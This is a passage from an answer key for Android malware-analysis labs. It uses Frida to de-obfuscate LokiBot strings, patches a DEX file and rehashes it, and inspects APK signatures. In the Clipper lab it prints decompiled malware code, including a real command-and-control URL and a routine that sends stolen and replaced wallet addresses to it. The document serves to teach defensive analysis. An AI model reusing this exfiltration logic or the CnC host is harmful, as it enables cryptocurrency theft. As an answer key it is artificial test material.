length: 8 131 | Obfuscated hex bytes: 503d6d3c5c0b4e0b 132 | De-obfuscated Result: Send_SMS 133 | ``` 134 | 135 | # Lab 3. Frida on LokiBot 136 | 137 | ## Question 1 138 | 139 | The solution is in `./data/solutions/lokifrida.js` on the USB key. 140 | 141 | ## Question 2 142 | 143 | ``` 144 | root@90b58e6bc8f4:~# adb shell pm list packages 145 | package:com.android.smoketest 146 | package:com.android.cts.priv.ctsshim 147 | package:com.google.android.youtube 148 | ... 149 | package:fsdfsdf.gsdsfsf.fsdfsdf.lbljhkjblkjblkjblkj 150 | ... 151 | ``` 152 | 153 | The package name is `fsdfsdf.gsdsfsf.fsdfsdf.lbljhkjblkjblkjblkj` 154 | 155 | So, we launch: 156 | 157 | ``` 158 | # frida -D emulator-5554 -l lokifrida.js -f fsdfsdf.gsdsfsf.fsdfsdf.lbljhkjblkjblkjblkj --no-pause 159 | ____ 160 | / _ | Frida 12.0.8 - A world-class dynamic instrumentation toolkit 161 | | (_| | 162 | > _ | Commands: 163 | /_/ |_| help -> Displays the help system 164 | . . . . object? -> Display information about 'object' 165 | . . . . exit/quit -> Exit 166 | . . . . 167 | . . . . More info at http://www.frida.re/docs/home/ 168 | Spawning `fsdfsdf.gsdsfsf.fsdfsdf.lbljhkjblkjblkjblkj`... 169 | *] Loading Frida script for Android/LokiBot 170 | [*] Java is available 171 | Spawned `fsdfsdf.gsdsfsf.fsdfsdf.lbljhkjblkjblkjblkj`. Resuming main thread! 172 | [Android Emulator 5554::fsdfsdf.gsdsfsf.fsdfsdf.lbljhkjblkjblkjblkj]-> [*] loaded hooks 173 | de-obfuscating: n!m9n= to: myname 174 | de-obfuscating: zm,f6w 175 | f*u1`= to: MyIntentService 176 | de-obfuscating: d9w=-(k( to: gate.php 177 | de-obfuscating: (k7m= to: phone 178 | de-obfuscating: bd=wj6i=`,pbw*v= to: :get_injects:true 179 | de-obfuscating: h to: 0 180 | de-obfuscating: quit 191 | ``` 192 | 193 | Note, you might sometimes get errors with Frida like **"Failed to spawn: timeout was reached"** 194 | or **"Failed to load script: the connection is closed"**. 195 | 196 | ## Question 3 197 | 198 | The solution is on the USB key in `./data/solutions/lokifrida2.js` 199 | 200 | - If the Loki process is still up, run `frida -D emulator-5554 -l lokifrida2.js -n fsdfsdf.gsdsfsf.fsdfsdf.lbljhkjblkjblkjblkj --no-pause`, 201 | - otherwise `frida -D emulator-5554 -l lokifrida2.js -f fsdfsdf.gsdsfsf.fsdfsdf.lbljhkjblkjblkjblkj --no-pause` (notice `-n` or `-f`). 202 | 203 | ``` 204 | # frida -D emulator-5554 -l lokifrida2.js -n fsdfsdf.gsdsfsf.fsdfsdf.lbljhkjblkjblkjblkj --no-pause 205 | ____ 206 | / _ | Frida 12.0.8 - A world-class dynamic instrumentation toolkit 207 | | (_| | 208 | > _ | Commands: 209 | /_/ |_| help -> Displays the help system 210 | . . . . object? -> Display information about 'object' 211 | . . . . exit/quit -> Exit 212 | . . . . 213 | . . . . More info at http://www.frida.re/docs/home/ 214 | Attaching... 215 | [*] Loading Frida script for Android/LokiBot 216 | [*] Java is available 217 | [*] loaded hooks 218 | [Android Emulator 5554::fsdfsdf.gsdsfsf.fsdfsdf.lbljhkjblkjblkjblkj]-> decoding: h --> 0 219 | Call Stack: dalvik.system.VMStack.getThreadStackTrace(Native Method) 220 | java.lang.Thread.getStackTrace(Thread.java:1566) 221 | fsdfsdf.gsdsfsf.gjhghjg.lbljhkjblkjblkjblkj.absurdityasfasfasfasfafa.abideasfasfasfasfafa(Native Method) 222 | fsdfsdf.gsdsfsf.gjhghjg.lbljhkjblkjblkjblkj.CommandService.abideasfasfasfasfafa(Unknown Source) 223 | fsdfsdf.gsdsfsf.gjhghjg.lbljhkjblkjblkjblkj.CommandService.onHandleIntent(Unknown Source) 224 | android.app.IntentService$ServiceHandler.handleMessage(IntentService.java:68) 225 | android.os.Handler.dispatchMessage(Handler.java:102) 226 | android.os.Looper.loop(Looper.java:154) 227 | android.os.HandlerThread.run(HandlerThread.java:61) 228 | 229 | decoding: device_policy 230 | Call Stack: dalvik.system.VMStack.getThreadStackTrace(Native Method) 231 | java.lang.Thread.getStackTrace(Thread.java:1566) 232 | fsdfsdf.gsdsfsf.gjhghjg.lbljhkjblkjblkjblkj.absurdityasfasfasfasfafa.abideasfasfasfasfafa(Native Method) 233 | fsdfsdf.gsdsfsf.gjhghjg.lbljhkjblkjblkjblkj.CommandService.abideasfasfasfasfafa(Unknown Source) 234 | fsdfsdf.gsdsfsf.gjhghjg.lbljhkjblkjblkjblkj.CommandService.onHandleIntent(Unknown Source) 235 | android.app.IntentService$ServiceHandler.handleMessage(IntentService.java:68) 236 | android.os.Handler.dispatchMessage(Handler.java:102) 237 | android.os.Looper.loop(Looper.java:154) 238 | android.os.HandlerThread.run(HandlerThread.java:61) 239 | ``` 240 | 241 | # Lab 4. Hacking DEX 242 | 243 | ## Question 1 244 | 245 | ``` 246 | root@90b58e6bc8f4:~/hackdex# python dexview.py -i classes.dex 247 | Encoded_method: code_off=304 248 | Encoded_method: code_off=328 249 | Header ---------------------- 250 | Magic: dex 251 | Version: 035 252 | Adler32 checksum: 2782750044 253 | SHA1 signature: 40 6a 48 a8 5f 96 13 e3 ab d0 e1 cd 64 04 ff 95 ba 25 cc 08 254 | File size: 752 255 | ... 256 | Strings ---------------------- 257 | offset= 375 - 381 string= 258 | offset= 383 - 402 string=Hello world in DEX! 259 | offset= 404 - 416 string=Lhelloworld; 260 | ``` 261 | 262 | The string begins at offset **383**. 263 | 264 | ## Question 2 265 | 266 | Modify the executable for example with emacs `hexl-mode`. 267 | 268 | Then: 269 | ``` 270 | root@90b58e6bc8f4:~/hackdex# strings classes.dex | grep DEX 271 | Hackk world in DEX! 272 | root@90b58e6bc8f4:~/hackdex# zip helloworld.zip classes.dex 273 | updating: classes.dex (deflated 44%) 274 | root@90b58e6bc8f4:~/hackdex# adb push helloworld.zip /sdcard/ 275 | helloworld.zip: 1 file pushed. 0.0 MB/s (592 bytes in 0.038s) 276 | ``` 277 | 278 | No, the executable does not run because of a bad **checksum** (actually, there is also a bad sha1 hash): 279 | 280 | ``` 281 | root@90b58e6bc8f4:~/hackdex# adb shell dalvikvm -cp /sdcard/helloworld.zip helloworld 282 | Unable to locate class 'helloworld' 283 | java.lang.ClassNotFoundException: Didn't find class "helloworld" on path: DexPathList[[zip file "/sdcard/helloworld.zip"],nativeLibraryDirectories=[/system/lib, /vendor/lib, /system/lib, /vendor/lib]] 284 | at dalvik.system.BaseDexClassLoader.findClass(BaseDexClassLoader.java:56) 285 | at java.lang.ClassLoader.loadClass(ClassLoader.java:380) 286 | at java.lang.ClassLoader.loadClass(ClassLoader.java:312) 287 | Suppressed: java.io.IOException: Failed to open dex files from /sdcard/helloworld.zip because: Failure to verify dex file '/sdcard/helloworld.zip': Bad checksum (8c14654a, expected a5dd655c) 288 | ``` 289 | 290 | ## Question 3 291 | 292 | `python dexview.py -i classes.dex --rehash` 293 | 294 | Another way to do it is to both modify a value at a given offset and rehash, both with dexview. 295 | 296 | For example, below, we replace the H of Hackk with 0x41 (A). 297 | 298 | ```bash 299 | # python dexview.py -i classes.dex --patch 41 --offset 383 --rehash 300 | Would you like to rehash? (y/n) y 301 | Patching... 302 | Patching DEX with SHA1 hash: c4 32 24 b1 49 31 74 2c 02 9a ee dc a0 11 0e a6 87 92 73 2b 303 | Patching DEX with Adler32 checksum: 4100744020 304 | Writing DEX to classes.dex.patched... 305 | 306 | Patching DEX with SHA1 hash: f3 d1 98 cd 36 1f ae 3b 38 30 36 af d0 b5 9f 43 44 8e 11 3d 307 | Patching DEX with Adler32 checksum: 1422812193 308 | Writing DEX to classes.dex.patched... 309 | 310 | root@90b58e6bc8f4:~/hackdex# strings classes.dex.patched | grep DEX 311 | Aackk world in DEX! 312 | ``` 313 | 314 | # Lab 5: Androguard on Android/Clipper.A!tr 315 | 316 | ## Question 1 317 | 318 | The main activity is `clipper.abcchannelmc.ru.clipperreborn.MainActivity` (the name won't always be `MainActivity` in all malware!). 319 | 320 | ``` 321 | # androlyze -s 322 | Androlyze version 3.0 323 | In [1]: a, d, dx = AnalyzeAPK('clipper.apk', decompiler='dad') 324 | In [2]: a.get_main_activity() 325 | Out[2]: u'clipper.abcchannelmc.ru.clipperreborn.MainActivity' 326 | ``` 327 | 328 | ## Question 2 329 | 330 | Service: `clipper.abcchannelmc.ru.clipperreborn.ClipboardService`. A service is code that executes in background. 331 | 332 | ## Question 3 333 | 334 | - `clipper.abcchannelmc.ru.clipperreborn.BootCompletedReceiver` 335 | 336 | ``` 337 | In [3]: a.get_receivers() 338 | Out[3]: ['clipper.abcchannelmc.ru.clipperreborn.BootCompletedReceiver'] 339 | ``` 340 | 341 | 342 | ## Question 4 343 | 344 | ```java 345 | In [4]: d.CLASS_Lclipper_abcchannelmc_ru_clipperreborn_MainActivity.METHOD_onCreate.source() 346 | protected void onCreate(android.os.Bundle p4) 347 | { 348 | super.onCreate(p4); 349 | new Thread(new clipper.abcchannelmc.ru.clipperreborn.MainActivity$1(this)).start(); 350 | this.startService(new android.content.Intent(this, clipper.abcchannelmc.ru.clipperreborn.ClipboardService)); 351 | android.util.Log.d("Clipper", "Started ClipboardManager"); 352 | this.getPackageManager().setComponentEnabledSetting(new android.content.ComponentName(this, clipper.abcchannelmc.ru.clipperreborn.MainActivity), 2, 1); 353 | android.widget.Toast.makeText(this, this.getResources().getString(2131427368), 0).show(); 354 | this.finish(); 355 | return; 356 | } 357 | } 358 | ``` 359 | 360 | - calls onCreate() of the parent class 361 | - create a Thread and start it 362 | - start a service named ClipboardService 363 | - log 364 | - remove the icon from the main screen 365 | - toast a message 366 | 367 | ## Question 5 368 | 369 | We see the malware starts a **ClipboardService** 370 | 371 | ```java 372 | this.startService(new android.content.Intent(this, clipper.abcchannelmc.ru.clipperreborn.ClipboardService)); 373 | ``` 374 | 375 | ## Question 6 376 | 377 | Note there is obviously a URL for the CnC. 378 | 379 | ``` 380 | In [5]: d.CLASS_Lclipper_abcchannelmc_ru_clipperreborn_ClipboardService.METHOD_init.source() 381 | public ClipboardService() 382 | { 383 | this.w = ""; 384 | this.gate = "http://fastfrmt.beget.tech/clipper/gateway/"; 385 | this.mOnPrimaryClipChangedListener = new clipper.abcchannelmc.ru.clipperreborn.ClipboardService$3(this); 386 | return; 387 | } 388 | ``` 389 | 390 | We will see later that: 391 | 392 | - w holds a wallet address 393 | - mOnPrimaryClipChangedListenir holds a clipboard listener 394 | 395 | ## Question 7 396 | 397 | A listener is added by `addPrimaryClipChangedListener`. This listener is the object `this.mOnPrimaryClipChanged` which is instantiated in the constructor. 398 | 399 | 400 | ```java 401 | In [6]: d.CLASS_Lclipper_abcchannelmc_ru_clipperreborn_ClipboardService.METHOD_onCreate.source() 402 | public void onCreate() 403 | { 404 | super.onCreate(); 405 | this.mClipboardManager = ((android.content.ClipboardManager) this.getSystemService("clipboard")); 406 | this.mClipboardManager.addPrimaryClipChangedListener(this.mOnPrimaryClipChangedListener); 407 | return; 408 | } 409 | 410 | ``` 411 | 412 | ## Question 8 413 | 414 | 415 | This listener contains the malicious payload. 416 | It grabs the current content of the clipboard and looks by which characters it begins, and tries to guess if this is a crypto currency wallet address and for which crypto currency. 417 | 418 | ```java 419 | if ((!clipper.abcchannelmc.ru.clipperreborn.ClipboardService.access$100(this.this$0).getText().toString().contains("+7")) 420 | || (clipper.abcchannelmc.ru.clipperreborn.ClipboardService.access$100(this.this$0).getText().length() != 12)) { 421 | if ((!v1_5.contains("7")) || 422 | (clipper.abcchannelmc.ru.clipperreborn.ClipboardService.access$100(this.this$0).getText().length() != 11)) { 423 | ... 424 | ``` 425 | 426 | - Begins with 7 and length 12: Visa QIWI wallet 427 | - Begins with 4: Yandex 428 | - Begins with Z: WebMoney US dollar 429 | - Begins with R: WebMoney Russian Rubles 430 | - Begins with 4 and length 95: Monero 431 | - Begins with 1 or 3 and length 34: Bitcoin 432 | - Begins with X and length 34: Dash 433 | - D and length = 34 -> Doge 434 | - t and length = 35 -> ZEC = ZCash 435 | - 0x and length = 40 -> ETH = Ether 436 | - L and length = 34 -> LTC = Litecoin 437 | - B and length = 34 -> BLK = BlackCoin 438 | 439 | 440 | ## Question 9 441 | 442 | ``` 443 | d.CLASS_Lclipper_abcchannelmc_ru_clipperreborn_ClipboardService.FIELD_gate.show_dref() 444 | ########## DREF 445 | R: Lclipper/abcchannelmc/ru/clipperreborn/MainActivity$1; run ()V a 446 | R: Lclipper/abcchannelmc/ru/clipperreborn/ClipboardService$1; run ()V e 447 | R: Lclipper/abcchannelmc/ru/clipperreborn/ClipboardService$2; run ()V e 448 | W: Lclipper/abcchannelmc/ru/clipperreborn/ClipboardService; ()V 12 449 | #################### 450 | ``` 451 | 452 | - R: means the field is *read* by the method 453 | - W it is *written* 454 | 455 | For method cross references, use `show_xref()` 456 | 457 | ## Question 10 458 | 459 | ```java 460 | In [11]: d.CLASS_Lclipper_abcchannelmc_ru_clipperreborn_ClipboardService_1.METHOD_run.source() 461 | public void run() 462 | { 463 | try { 464 | java.io.IOException v0_1 = new StringBuilder(); 465 | v0_1.append(this.this$0.gate); 466 | v0_1.append("attach.php?log&wallet="); 467 | v0_1.append(this.val$wallet); 468 | v0_1.append("&was="); 469 | v0_1.append(this.val$ne); 470 | clipper.abcchannelmc.ru.clipperreborn.HttpClient.getReq(v0_1.toString()); 471 | android.util.Log.d("Clipper", "New log"); 472 | } catch (java.io.IOException v0_4) { 473 | v0_4.printStackTrace(); 474 | } catch (java.io.IOException v0_5) { 475 | v0_5.printStackTrace(); 476 | } 477 | return; 478 | } 479 | ``` 480 | 481 | - Creates URL `http://fastfrmt.beget.tech/clipper/gateway/attach.php?log&wallet=xxx&was=yyy` 482 | - Fills in the old wallet address and the replaced address 483 | - Send HTTP request to CnC 484 | 485 | 486 | 487 | # BONUS Lab 6 APK Signatures 488 | 489 | ## Question 1 490 | 491 | Offset: 492 | ``` 493 | # python parse_apk.py clipper.apk | grep -A 30 APK 494 | ------------- APK Signing Block ------------------- 495 | Offset: 2956000 (0x002d1ae0) 496 | ``` 497 | 498 | Signature: 499 | ``` 500 | Signature: 7c5ca8f1b535734a69c6c1bf7a8f51fb5f3cf31ea8d63961e15edbb605e51c532b584e3a1be879d6a72e7853e369df857615292147ca725b03c999f42cf6bd27046f17d6307e6bfd18269fc6bb5fbb1a2a914b4b7f4d86955fd948ad64514f8b6229bb9afcf6e235442b4fb754ee0c7ce2333dc9f435f4319bcca53bb8b6847060e1462f11ed3e64da1ffcfb988f29de19285b9c8d394a2d8e4bc8f98984abcd72d07fb7729e5942545ff7943633437fe0916fb629d3b1ffb2690036eeaa3428a71727ee5a6c5ff64a4fc3e2226e0e5d6762d59d352329192f5a06e8bc8cf0c2e9d641e2937cfe8220ce8c65ba3482c528f42d5d30accc88dee283adaa9442af 501 | ``` 502 | 503 | ## Question 2 504 | 505 | ``` 506 | root@90b58e6bc8f4:~# adb install hiddenminer.apk 507 | adb: failed to install hiddenminer.apk: Failure [INSTALL_PARSE_FAILED_NO_CERTIFICATES: Failed to collect certificates from /data/app/vmdl1530970562.tmp/base.apk using APK Signature Scheme v2: SHA-256 digest of contents did not verify] 508 | ``` 509 | 510 | The first message *Failed to collect certificates* is probably an error / improper message. 511 | The likely cause is that the **digest of contents do not verify**. 512 | 513 | Precisely, in the APK Signing Block, this value is probably wrong: 514 | 515 | ``` 516 | Signer #1 length=855 --- 517 | Signed data length= 541 518 | Total digests length: 44 519 | Digest struct #1 520 | Length of digest struct: 40 521 | Digest algo id : RSASSA-PKCS1-v1_5 with SHA2-256 522 | Digest length : 32 523 | --------------------> Digest: 5caefb1cfd3c3e493fdac5f23c3db10623a834095b41020579a9efa908d6ba71 524 | Total certificates length: 485 525 | Certificate #1 length=481 526 | ``` 527 | 528 | Wrong: **Digest: 5caefb1cfd3c3e493fdac5f23c3db10623a834095b41020579a9efa908d6ba71** 529 | Note that the digest algorithm id says "RSASSA-PKCS1-v1_5 with SHA2-256". This is incorrect in crypto: the hash algorithm is SHA-256 (not RSA with SHA256). 530 | 531 | 532 | 533 | 534 | 535 | --------------------------------------------------------------------------------